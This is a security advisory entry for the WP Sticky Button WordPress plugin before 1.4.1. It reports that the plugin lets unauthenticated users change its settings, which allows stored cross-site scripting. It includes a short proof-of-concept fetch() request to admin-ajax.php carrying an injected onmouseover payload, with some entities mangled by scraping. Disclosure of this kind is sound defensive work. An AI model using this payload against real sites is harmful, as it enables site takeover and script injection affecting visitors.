Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:CAAB1FCA-CC6B-45BB-BD0D-F857EDD8BB81
HistoryAug 01, 2022 - 12:00 a.m.

WP Sticky Button < 1.4.1 - Unauthenticated Arbitrary Settings Update to Stored XSS

2022-08-0100:00:00
Krzysztof Zając
wpscan.com
12
wordpress
security
plugin
csrf
unauthenticated
xss

EPSS

0.001

Percentile

21.2%

The plugin does not have authorisation and CSRF checks when saving its settings, allowing unauthenticated users to update them. Furthermore, due to the lack of escaping in some of them, it could lead to Stored Cross-Site Scripting issues

PoC

fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=okapi_wasb_save_settings&number;=" style=position:fixed;left:0;top:0;right:0;bottom:0;z-index:9999\x0conmouseover=alert1\x0cppp&display;_on_desktop=1&activate;=1”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

EPSS

0.001

Percentile

21.2%

Related for WPVDB-ID:CAAB1FCA-CC6B-45BB-BD0D-F857EDD8BB81